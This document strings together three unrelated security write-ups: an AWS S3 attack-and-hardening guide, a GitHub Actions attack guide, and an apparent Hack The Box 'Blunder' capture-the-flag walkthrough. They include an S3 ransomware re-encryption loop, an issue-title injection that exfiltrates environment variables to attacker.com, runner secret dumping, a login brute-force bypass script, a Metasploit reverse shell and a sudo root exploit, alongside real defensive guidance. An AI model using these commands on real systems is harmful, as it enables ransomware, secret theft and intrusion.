I've been pentesting AWS environments for years, and the game has completely changed. We're not just dealing with public buckets anymore (though those are still embarrassingly common). The latest attacks, like the Codefinger ransomware campaign, are using AWS's own Server-Side Encryption with Customer Provided Keys (SSE-C) to lock companies out of their own data. No vulnerability exploitation needed just stolen credentials and AWS's own features turned into attack vectors.

This guide walks through both sides of the battlefield. I'll show you exactly how attackers are breaking in (with the actual commands and tools), and then flip the script to show you how to lock things down properly. This is what's happening right now in the wild.

Part 1: The Attack Side - How S3 Buckets Get Owned

The New Ransomware Playbook

Let's start with the scariest development of 2025. The Codefinger group discovered they could use SSE-C to encrypt S3 data with their own AES-256 keys, and AWS only logs an HMAC of the key not the key itself. Once they encrypt your data, it's gone. There's literally no recovery without paying the ransom.

Here's how the attack actually works:

# Step 1: Attacker gets your AWS keys (phishing, exposed in code, etc.)
# Step 2: They enumerate your buckets
aws s3 ls --profile stolen-creds

# Step 3: Download and re-encrypt each file with their key
for file in $(aws s3 ls s3://victim-bucket --recursive | awk '{print $4}'); do
    # Download the file
    aws s3 cp s3://victim-bucket/$file /tmp/temp-file

# Re-upload with attacker's encryption key
    aws s3 cp /tmp/temp-file s3://victim-bucket/$file \
        --sse-c AES256 \
        --sse-c-key [32-byte-key-attacker-controls]
done

# Step 4: Set lifecycle policy to delete in 7 days
aws s3api put-bucket-lifecycle-configuration --bucket victim-bucket \
    --lifecycle-configuration file://delete-in-7-days.json

# Step 5: Drop the ransom note
echo "Pay 10 BTC to wallet xyz or lose your data forever" > RANSOM.txt
aws s3 cp RANSOM.txt s3://victim-bucket/

What makes this particularly nasty is that no data leaves AWS. Traditional DLP tools see nothing suspicious it's all legitimate AWS API calls within your own environment.

Modern Bucket Hunting Techniques

Forget the old "try random bucket names" approach. Modern attackers are way more sophisticated:

DNS-Based Enumeration (The Stealthy Approach)

s3enum Tool

# Using s3enum - doesn't hit AWS APIs directly
# Generate permutations and check via DNS
./s3enum -wordlist company-terms.txt -suffixlist common-suffixes.txt targetcorp
# This checks: targetcorp-dev, targetcorp-prod, targetcorp-backup, etc.
# All through DNS lookups, not AWS API calls

Certificate Transparency Logs

Smart attackers are using CT logs to find S3 buckets:

# Query crt.sh for subdomains
curl -s "https://crt.sh/?q=%25.targetcorp.com&output=json" | \
    jq -r '.[].name_value' | \
    grep -E "s3|bucket|storage" | \
    sort -u

GitHub Goldmine

# Search for exposed bucket names in code
github-dorks -d github.com -t [token] \
    -q "s3.amazonaws.com extension:yml targetcorp"
# Common patterns that leak bucket names:
# - Terraform files
# - Docker configs  
# - CI/CD pipelines
# - JavaScript source maps

Privilege Escalation with Pacu

Pacu is basically the Metasploit of AWS it's an exploitation framework designed for post-compromise attacks. Here's a real attack chain I've used in authorized tests:

# Install Pacu
pipx install git+https://github.com/RhinoSecurityLabs/pacu.git

# Start a new session
pacu
> create mybreach

# Import compromised keys
> set_keys
Key alias: pwned-dev
Access key ID: AKIA[...]
Secret key: [...]

# Phase 1: Enumerate everything
> run iam__enum_permissions --all-users
> run aws__enum_account
> run s3__enum

# Phase 2: Look for escalation paths
> run iam__privesc_scan

# Example output might show:
# User 'dev-deploy' can assume role 'ProductionAdmin'
# User 'ci-bot' has iam:CreatePolicyVersion permission

# Phase 3: Exploit the escalation
> run iam__privesc_through_create_policy_version \
    --policy-arn arn:aws:iam::123456789:policy/dev-policy

Pacu can test S3 bucket configurations, establish Lambda backdoors, compromise EC2 instances, and even disrupt CloudTrail and GuardDuty monitoring.

The Supply Chain Attack Vector

Here's something that doesn't get enough attention. Abandoned S3 buckets are a massive problem. I've seen this pattern repeatedly:

1. Company creates updates.mycompany.com S3 bucket

2. Hardcodes the URL in their app/documentation

3. Later migrates away and deletes the bucket

4. Attacker claims the bucket name (they're globally unique)

5. Now the attacker controls a trusted endpoint

Real example: An enterprise VPN solution was fetching config from a deleted S3 bucket. An attacker could have owned the entire corporate network just by creating that bucket and serving malicious configs.

Part 2: The Defense Side - Locking Down Your S3

Priority 1: Block the SSE-C Ransomware Attack

AWS now recommends blocking SSE-C entirely if you don't use it, either through bucket policies or Resource Control Policies (RCPs) at the organization level.

Here's the bucket policy that stops it cold:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenySSECUploads",
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:PutObject",
      "Resource": "arn:aws:s3:::your-bucket/*",
      "Condition": {
        "StringEquals": {
          "s3:x-amz-server-side-encryption-customer-algorithm": "AES256"
        }
      }
    }
  ]
}

For organization-wide protection, use an RCP:

aws organizations put-resource-policy \
  --content '{
    "Version": "2012-10-17",
    "Statement": [{
      "Effect": "Deny",
      "Action": "s3:PutObject",
      "Resource": "*",
      "Condition": {
        "StringEquals": {
          "s3:x-amz-server-side-encryption-customer-algorithm": "AES256"
        }
      }
    }]
  }'

Priority 2: Detection and Response Automation

GuardDuty with S3 Protection and Extended Threat Detection can now detect potential ransomware attempts using SSE-C. But you need to act on those alerts immediately.

Here's a Lambda function that auto-responds to suspicious S3 activity:

import boto3
import json
from datetime import datetime

def lambda_handler(event, context):
    # Parse GuardDuty finding
    finding = json.loads(event['Records'][0]['Sns']['Message'])

    if 'S3' in finding['Resource']['Type']:
        bucket_name = finding['Resource']['S3BucketDetails'][0]['Name']

        # Immediate containment
        s3 = boto3.client('s3')

        # 1. Block all public access
        s3.put_public_access_block(
            Bucket=bucket_name,
            PublicAccessBlockConfiguration={
                'BlockPublicAcls': True,
                'IgnorePublicAcls': True,
                'BlockPublicPolicy': True,
                'RestrictPublicBuckets': True
            }
        )

        # 2. Enable versioning (if not already)
        s3.put_bucket_versioning(
            Bucket=bucket_name,
            VersioningConfiguration={'Status': 'Enabled'}
        )

        # 3. Create a snapshot tag for incident response
        s3.put_bucket_tagging(
            Bucket=bucket_name,
            Tagging={
                'TagSet': [
                    {'Key': 'IncidentResponse', 'Value': 'Active'},
                    {'Key': 'Timestamp', 'Value': datetime.utcnow().isoformat()}
                ]
            }
        )

        # 4. Notify security team
        sns = boto3.client('sns')
        sns.publish(
            TopicArn='arn:aws:sns:us-east-1:123456789:security-alerts',
            Subject=f'CRITICAL: S3 Bucket {bucket_name} Under Attack',
            Message=json.dumps(finding, indent=2)
        )

    return {'statusCode': 200}

Priority 3: Preventive Controls That Actually Work

The Complete S3 Hardening Checklist

# 1. Account-level Block Public Access (non-negotiable)
aws s3control put-public-access-block \
  --account-id $(aws sts get-caller-identity --query Account --output text) \
  --public-access-block-configuration \
    BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true

# 2. Enable default encryption with KMS (not just AES256)
aws s3api put-bucket-encryption --bucket critical-data \
  --server-side-encryption-configuration '{
    "Rules": [{
      "ApplyServerSideEncryptionByDefault": {
        "SSEAlgorithm": "aws:kms",
        "KMSMasterKeyID": "arn:aws:kms:us-east-1:123456789:key/abc-123"
      }
    }]
  }'

# 3. Enable versioning with MFA delete
aws s3api put-bucket-versioning --bucket critical-data \
  --versioning-configuration Status=Enabled,MFADelete=Enabled \
  --mfa "arn:aws:iam::123456789:mfa/root-user 123456"

# 4. Configure Object Lock for immutability
aws s3api put-object-lock-configuration --bucket critical-data \
  --object-lock-configuration '{
    "ObjectLockEnabled": "Enabled",
    "Rule": {
      "DefaultRetention": {
        "Mode": "GOVERNANCE",
        "Days": 30
      }
    }
  }'

# 5. Enable CloudTrail data events (catches the attacks)
aws cloudtrail put-event-selectors --trail-name security-trail \
  --event-selectors '[{
    "ReadWriteType": "All",
    "IncludeManagementEvents": true,
    "DataResources": [{
      "Type": "AWS::S3::Object",
      "Values": ["arn:aws:s3:::*/*"]
    }]
  }]'

The VPC Endpoint Lock (My Personal Favorite)

This completely prevents internet access to your S3 buckets, even with valid credentials:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyAllExceptVPCEndpoint",
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:*",
      "Resource": [
        "arn:aws:s3:::sensitive-data",
        "arn:aws:s3:::sensitive-data/*"
      ],
      "Condition": {
        "StringNotEquals": {
          "aws:SourceVpce": "vpce-1234567890abcdef0"
        }
      }
    }
  ]
}

Priority 4: Continuous Security Assessment

Tools like Prowler and ScoutSuite provide continuous compliance monitoring, but you need to customize them for your environment:

# Prowler for automated compliance checks
./prowler aws -g s3 -f us-east-1 --output-formats html json

# Custom Prowler check for SSE-C usage
cat << 'EOF' > checks/custom/check_sse_c_usage.sh
#!/bin/bash
for bucket in $(aws s3api list-buckets --query 'Buckets[].Name' --output text); do
  objects=$(aws s3api list-objects-v2 --bucket $bucket \
    --query 'Contents[?ServerSideEncryption==`aws:kms:sse-c`].Key' \
    --output text 2>/dev/null)

  if [ ! -z "$objects" ]; then
    echo "WARNING: Bucket $bucket contains SSE-C encrypted objects"
  fi
done
EOF

Part 3: When Things Go Wrong - Incident Response

If you suspect a Codefinger style attack, here's your immediate response playbook:

# 1. Check for SSE-C usage in CloudTrail
aws logs filter-log-events \
  --log-group-name /aws/cloudtrail/security \
  --filter-pattern '{ $.requestParameters.x-amz-server-side-encryption-customer-algorithm = * }' \
  --start-time $(date -u -d '7 days ago' +%s)000

# 2. Look for mass PutObject operations
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=PutObject \
  --max-results 50 | \
  jq '.Events | group_by(.Username) | map({user: .[0].Username, count: length})'

# 3. Check for lifecycle policy changes
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=PutBucketLifecycleConfiguration

# 4. If ransomware is confirmed, immediately:
# - Revoke the compromised credentials
# - Enable MFA on all accounts
# - Restore from backups (you have backups, right?)
# - Contact AWS Support (they've seen this before)Reality

Here's what nobody wants to admit, most S3 breaches happen because of silly mistakes. Not sophisticated zero-days. Not nation-state actors. Just developers who:

• Commit AWS keys to GitHub

• Copy/paste overly permissive IAM policies

• Forget to turn on Block Public Access

• Never rotate credentials

• Store backups in the same account with the same permissions

The tools and techniques I've shown you are powerful, but they're not magic. The real problem, as security researcher Johannes Ullrich points out, is that "the AWS customer leaked access credentials". Fix the basics first.

TL;DR

The S3 threat landscape has evolved dramatically. We've gone from worrying about public buckets to dealing with ransomware that uses AWS's own encryption against us. The threat actors are getting more creative, but so are the defenses.

My advice? Assume breach. Build your S3 security like someone already has your credentials (because they might). Use defense in depth bucket policies, VPC endpoints, encryption, versioning, monitoring, and automated response. Make it so that even with valid credentials, an attacker can't do much damage.

And please, for the love of all that is holy, stop putting AWS keys in your code. Use IAM roles. Use instance profiles. Use anything except long-lived credentials sitting in plaintext.

Stay paranoid, stay patched, and keep those buckets locked down.

References

• HackTricks: AWS Privilege Escalation on S3

• HackTricks: S3 Unauthenticated Enumeration

• RhinoSecurityLabs on S3 Ransomware Attack Vector

• AWS Security Blog

• AWS Documentation: S3 Block Public Access

Tools Used

• Pacu - AWS Exploitation Framework

• S3Scanner

• s3enum - DNS-based S3 Bucket Enumeration

• Prowler - AWS Security Assessment Tool

• ScoutSuite - Multi-Cloud Security Auditing

AWS Security Documentation

• AWS Blueprint for Ransomware Defense

• Preventing Unintended Encryption of S3 Objects

• AWS CloudTrail Best Practices

• Amazon GuardDuty S3 Protection

Recent Security Advisories

• Halcyon: Codefinger Ransomware Analysis

• CSA Advisory on S3 Ransomware Campaign

• Arctic Wolf: SSE-C Ransomware Campaign

Look, if you're still treating GitHub Actions like some harmless CI/CD tool, you're about to have a bad time. March 2025 showed us what happens when attackers get creative - the tj-actions/changed-files compromise hit over 23,000 repositories in one shot. Not through some zero-day exploit. Not through sophisticated cryptography breaking. Just good old-fashioned trust abuse and some clever git tag manipulation.

Let's cut through the BS and talk about what's actually happening in the wild and how to test for it.

The Attack Surface Nobody's Watching

Here's the thing about GitHub Actions, it's not just running your tests anymore. It's got access to your secrets, can push code to your repo, deploy to production, and if you're using self-hosted runners, it's sitting inside your network. That's a lot of trust for YAML files that most devs copy/paste from Stack Overflow.

The basic components you need to understand:

• Workflows: Those .github/workflows/*.yml files that define everything

• Triggers: What kicks off a workflow (push, pull_request, issue_comment, etc.)

• Runners: Where the code actually executes (GitHub-hosted or self-hosted)

• Secrets & Tokens: The keys to the kingdom

Each of these is an attack vector. Let me show you how.

Command Injection: The Gift That Keeps on Giving

This is the low-hanging fruit, but it's everywhere. GitHub Actions uses ${{...}} for expressions, and here's the kicker - it's not variable expansion, it's literal string substitution before the shell even sees it.

Take this workflow that looks innocent enough:

name: Greet on New Issue
on:
  issues:
    types: [opened]
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - name: Greet User
        run: echo "Processing new issue: ${{ github.event.issue.title }}"

Now watch what happens when I create an issue with this title:

Welcome!"; curl http://attacker.com/leak?data=$(env | base64 -w0); echo "Done

The runner executes:

echo "Processing new issue: Welcome!"; curl http://attacker.com/leak?data=$(env | base64 -w0); echo "Done"

Boom. All your environment variables just got exfiltrated. Including secrets.

Reference for Injectable Inputs

The pull_request_target Foot gun

This one's brutal. The pull_request_target trigger was designed to let workflows comment on PRs from forks. The problem? It runs in the context of the base branch with full permissions, but can be tricked into running code from the PR.

Here's the vulnerable pattern everyone keeps using:

on:
  pull_request_target:

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.ref }}  # <- THE MISTAKE
      - run: npm test

The attack:

1. Fork the repo

2. Add malicious code to package.json or test files

3. Submit a PR

4. Your malicious code runs with full repo permissions

This exact pattern compromised repositories from MITRE, Splunk, and Spotify's API library. It's everywhere.

Self-Hosted Runners: 💣

GitHub-hosted runners are ephemeral.
These runners are temporary and short-lived; they spin up to execute a job and then disappear once the job is completed. This is in contrast to self-hosted runners, which are persistent and remain active on the network.

They spin up, run your job, disappear. Self-hosted runners? They're persistent. They're on your network. They're probably running as a service account with way too many permissions.

The attack path is straightforward:

1. Find a public repo using self-hosted runners (look for runs-on: self-hosted)

2. Fork it and create a malicious workflow

3. Submit a PR - if they have the "first-time contributor" approval requirement, just fix a typo first to become a "contributor"

4. Your workflow runs on their runner

5. Drop a reverse shell or C2 implant

6. Wait for legitimate jobs to run and steal their secrets

The runner is now your persistent backdoor into their network. You can:

• Steal secrets from future jobs

• Pivot through their internal network

• Inject backdoors into their release builds

Secret Exfiltration

GitHub tries to mask secrets in logs, but it's trivial to bypass:

# This gets masked
echo ${{ secrets.API_KEY }}

# This doesn't
echo ${{ secrets.API_KEY }} | base64

# Neither does this
echo ${{ secrets.API_KEY }} | rev

But here's where it gets interesting. The runner process itself holds all secrets in memory. On a self-hosted runner where you have execution:

# Dump the runner process memory
sudo gcore $(pgrep Runner.Listener)

# Extract secrets from the dump
strings core.* | grep -A5 -B5 "SECRET_NAME"

Even better - the runner writes temporary script files with secrets hardcoded:

cat /home/runner/work/_temp/*.sh

Exploiting with gato-x

Let's break something. The Gato (Github Attack TOolkit) - Extreme Edition tool automates most of this:

# Search for vulnerable repos
gato-x s -sg -q 'count:10000 /(issue_comment|pull_request_target)/ file:.github/workflows/ lang:yaml' -oT targets.txt

# Enumerate vulnerabilities
gato-x e -R targets.txt

# Attack a self-hosted runner (with authorization)
gato-x a --runner-on-runner --target ORG/REPO --target-os linux --target-arch x64

Race Conditions: The Actions TOCTOU Attack

Some workflows require manual approval before running PR code. There's a race condition here:

1. Submit benign PR

2. Maintainer reviews and approves

3. Between approval and execution, force-push malicious code

4. Runner executes the malicious version

The ActionsTOCTOU tool automates this - it watches for approval and instantly swaps the code.

The tj-actions Supply Chain Attack:

This wasn't some theoretical or imaginary attack. In March 2025, attackers compromised tj-actions/changed-files and hit 23,000+ repos. Here's how they did it:

1. Initial foothold: Found a pull_request_target vulnerability in a completely different repo (spotbugs/sonar-findbugs)

2. Token theft: Used it to leak a maintainer's Personal Access Token

3. Lateral movement: That maintainer had access to reviewdog/action-setup

4. Tag manipulation: Pushed malicious code and updated the v1 tag to point to it

5. Chain reaction: tj-actions/changed-files used reviewdog in its workflow, got compromised

6. Mass exploitation: Updated all tj-actions version tags to dump secrets in logs

The clever bit? They didn't modify the main branch. They just moved the version tags. Everyone pulling @v1 or @v35 got owned instantly.

Testing Your Own Workflows

Start with the basics:

# Find risky triggers
grep -r "pull_request_target\|workflow_run" .github/workflows/

# Find expression injection points
grep -r '\${{.*github\.event' .github/workflows/

# Find self-hosted runners
grep -r "runs-on:.*self-hosted" .github/workflows/

For each vulnerable pattern you find, create a test:

• Command injection: Create issues/PRs with payloads

• Pwn requests: Fork and submit malicious PRs

• Secret leakage: Check artifact contents

Defending This Mess

Pin your actions to commit SHAs, not tags:

# Bad
- uses: actions/checkout@v4

# Good
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

Never interpolate user input directly:

# Bad
run: echo "${{ github.event.issue.title }}"

# Good
env:
  TITLE: ${{ github.event.issue.title }}
run: echo "$TITLE"

Set minimal permissions:

permissions:
  contents: read
  # Only what you need

For self-hosted runners: Run them in isolated networks. Use ephemeral containers. Never on public repos unless you enjoy pain.

TL;DR

Most organizations have no idea how exposed they are through GitHub Actions. The workflows are public, the attack tools are free, and the payoff for attackers is massive. We're seeing credential theft, supply chain attacks, and full network compromises - all through YAML files that nobody's reviewing.

Start auditing your workflows today. Because if you don't, someone else will.

References

The tj-actions/changed-files Supply Chain Attack
The Hacker News: GitHub Action Compromise Puts CI/CD

GitHub Actions Script Injection Documentation
GitHub Docs: Security hardening for GitHub Actions - Script Injections

Pwn Request Vulnerabilities Research
Praetorian: Pwn Request - Hacking Microsoft GitHub Repositories and More

Self-Hosted Runner Security Analysis
Unit 42: GitHub Actions Supply Chain Attack

ArtiPACKED Vulnerability Research
Unit 42: GitHub Repository Artifacts Leak Tokens

• Nmap Recon

• Dirsearch

• Cewl

• Python Scripts

• hash identifier and decryptor

• Metasploit bludit_upload_images_exec Exploit

Summary of Blunder Challenge

• Nmap Scan

• directory fuzzing

• cewl generate wordlist

• Use python script to bruteforce Bludit CMS’s password to bypass protection

• cve-2019-16113,Bludit - Directory Traversal Image File Upload

• passwords disclosure

• use “sudo -u#-1 /bin/bash” one-liner to privesc - sudo security bypass

Initial Enumeration

nmap scan port:

nmap -sC -sV -Pn 10.10.10.191

Directory Listing since its port 80

Tried Directory Listing with Dirsearch got /adminand /robots directory

python3 [dirsearch.py](http://dirsearch.py/) -u [http://10.10.10.191](http://10.10.10.191/) -e *

On Fingerprinting got to know its using Bludit CMS

On further inspection with Seclists common.

wfuzz -c -w Downloads/SecLists-master/Discovery/Web-Content/common.txt --hc 404,403 -u "10.10.10.191/FUZZ.txt" -t 100

On further Directory Listing with WFuzz got /robots.txt /todo.txt directory

todo.txt has some juicy stuff

fergus looks like a user name based on the comment

Tried to brute for with common passwords wordlist in seclists but no luck this time.

Tried creating a worklist from website using Cewl

Now take this password.txt and fire up the Burp Intruder 🔥

There seems to some sort brute force protection mechanism implemented.

Googled about it and found an exploit immediately.

There is a protection in place but a bypass readily available.

https://rastating.github.io/bludit-brute-force-mitigation-bypass/

Upon Modifying it a bit.

#!/usr/bin/env python3
import re
import requests
#from __future__ import print_function

def open_ressources(file_path):
    return [item.replace("\n","") for item in open(file_path).readlines()]

host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
wordlist = open_ressources('/home/kali/Desktop/password.txt')

for password in wordlist:
    session = requests.Session()
    login_page = session.get(login_url)
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    print('[*] Trying: {p}'.format(p = password))

    headers = {
        'X-Forwarded-For': password,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
        'Referer': login_url
    }

    data = {
        'tokenCSRF': csrf_token,
        'username': username,
        'password': password,
        'save': ''
    }

    login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)

    if 'location' in login_result.headers:
        if '/admin/dashboard' in login_result.headers['location']:
            print()
            print('SUCCESS: Password found!')
            print('Use {u}:{p} to login.'.format(u = username, p = password))
            print()
            break

Got the password for fergus

Use fergus:RolandDeschain to login to the website.

Successfully able to login to site.

On further googling for exploits found this

https://packetstormsecurity.com/files/155295/Bludit-Directory-Traversal-Image-File-Upload.html

https://www.exploit-db.com/exploits/47699

looks like I'm closer to something.

I used msf to get a shell for easy exploitation.

Spin up Metasploit.

root@kali:/home/kali# msfconsole

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt

       =[ metasploit v5.0.81-dev                          ]
+ -- --=[ 1987 exploits - 1089 auxiliary - 339 post       ]
+ -- --=[ 559 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: View useful productivity tips with the tip command, or view them all with tip -l

msf5 > use exploit/linux/http/bludit_upload_images_exec
msf5 exploit(linux/http/bludit_upload_images_exec) > set TARGET 0
TARGET => 0
msf5 exploit(linux/http/bludit_upload_images_exec) > set RHOST 10.10.10.191
RHOST => 10.10.10.191
msf5 exploit(linux/http/bludit_upload_images_exec) >  set RPORT 80
RPORT => 80
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITUSER fergus
BLUDITUSER => fergus
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITPASS RolandDeschain
BLUDITPASS => RolandDeschain
msf5 exploit(linux/http/bludit_upload_images_exec) > exploit

[*] Started reverse TCP handler on 10.10.15.49:4444 
[+] Logged in as: fergus
[*] Retrieving UUID...
[*] Uploading wLeZlRdQzE.png...
[*] Uploading .htaccess...
[*] Executing wLeZlRdQzE.png...
[*] Sending stage (38288 bytes) to 10.10.10.191
[*] Meterpreter session 1 opened (10.10.15.49:4444 -> 10.10.10.191:50426) at 2020-06-27 06:35:43 -0400
[+] Deleted .htaccess

meterpreter > shell
Process 3053 created.
Channel 0 created.

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@blunder:/$ ls
ls
bin    dev  home   lib64       media  proc  sbin  sys  var
boot   etc  lib    libx32      mnt    root  snap  tmp
cdrom  ftp  lib32  lost+found  opt    run   srv   usr
www-data@blunder:/$ cd var/
cd var/
www-data@blunder:/var$ ls
ls
backups  crash  local  log   metrics  run   spool  www
cache    lib    lock   mail  opt      snap  tmp
www-data@blunder:/var$ cd www/
cd www/
www-data@blunder:/var/www$ ls
ls
bludit-3.10.0a  bludit-3.9.2  html
www-data@blunder:/var/www$ cd bludit-3.10.0a
cd bludit-3.10.0a
www-data@blunder:/var/www/bludit-3.10.0a$ ls
ls
LICENSE    bl-content  bl-languages  bl-themes  install.php
README.md  bl-kernel   bl-plugins    index.php
www-data@blunder:/var/www/bludit-3.10.0a$ ls -al
ls -al
total 72
drwxr-xr-x  8 www-data www-data  4096 May 19 15:13 .
drwxr-xr-x  5 root     root      4096 Nov 28  2019 ..
drwxr-xr-x  2 www-data www-data  4096 Oct 19  2019 .github
-rw-r--r--  1 www-data www-data   582 Oct 19  2019 .gitignore
-rw-r--r--  1 www-data www-data   395 Oct 19  2019 .htaccess
-rw-r--r--  1 www-data www-data  1083 Oct 19  2019 LICENSE
-rw-r--r--  1 www-data www-data  2893 Oct 19  2019 README.md
drwxr-xr-x  7 www-data www-data  4096 May 19 10:03 bl-content
drwxr-xr-x 10 www-data www-data  4096 Oct 19  2019 bl-kernel
drwxr-xr-x  2 www-data www-data  4096 Oct 19  2019 bl-languages
drwxr-xr-x 29 www-data www-data  4096 Oct 19  2019 bl-plugins
drwxr-xr-x  5 www-data www-data  4096 Oct 19  2019 bl-themes
-rw-r--r--  1 www-data www-data   900 May 19 11:27 index.php
-rw-r--r--  1 www-data www-data 20306 Oct 19  2019 install.php
www-data@blunder:/var/www/bludit-3.10.0a$ cd bl-content
cd bl-content
www-data@blunder:/var/www/bludit-3.10.0a/bl-content$ ls
ls
databases  pages  tmp  uploads  workspaces
www-data@blunder:/var/www/bludit-3.10.0a/bl-content$ cd databases
cd databases
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ ls
ls
categories.php  plugins       site.php    tags.php
pages.php       security.php  syslog.php  users.php

Now open user.php

www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""}
}

We got password for user lets find out what hash is being used.

I used hash Identifier to know the possible hash algorithm used.

root@kali:/home/kali# hashid faca404fd5c0a31cf1897b823c695c85cffeb98d
Analyzing 'faca404fd5c0a31cf1897b823c695c85cffeb98d'
[+] SHA-1 
[+] Double SHA-1 
[+] RIPEMD-160 
[+] Haval-160 
[+] Tiger-160 
[+] HAS-160 
[+] LinkedIn 
[+] Skein-256(160) 
[+] Skein-512(160)

Using https://md5decrypt.net/en/Sha1/ I was able get the password value.

faca404fd5c0a31cf1897b823c695c85cffeb98d : Password120

No switch user to hugo and login with credentials

www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ su hugo
su hugo
Password: Password120
hugo@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ id
id
uid=1001(hugo) gid=1001(hugo) groups=1001(hugo)
hugo@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cd
cd
hugo@blunder:~$ ls
ls
Desktop    Downloads  Pictures  Templates  Videos
Documents  Music      Public    user.txt
hugo@blunder:~$ cat user.txt
cat user.txt
7c*************************b0

Got the user Flag

Lets check for all available privileges

hugo@blunder:~$ sudo -l
sudo -l
Password: Password120

Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash
hugo@blunder:~$

(ALL, !root) /bin/bash looks interesting

one googling I was able to get

https://www.exploit-db.com/exploits/47502 which is a sudo 1.8.27 - Security Bypass

Root Privilege Escalation Exploit sudo -u#-1 /bin/bash

hugo@blunder:/$ sudo -u#-1 /bin/bash 
sudo -u#-1 /bin/bash
root@blunder:/# id
id
uid=0(root) gid=1001(hugo) groups=1001(hugo)
root@blunder:/# ls
ls
bin    dev  home   lib64       media  proc  sbin  sys  var
boot   etc  lib    libx32      mnt    root  snap  tmp
cdrom  ftp  lib32  lost+found  opt    run   srv   usr
root@blunder:/# cd root
cd root
root@blunder:/root# ls
ls
root.txt
root@blunder:/root# cat root.txt
cat root.txt
43************************32
root@blunder:/root#

Getting root flag is so simple.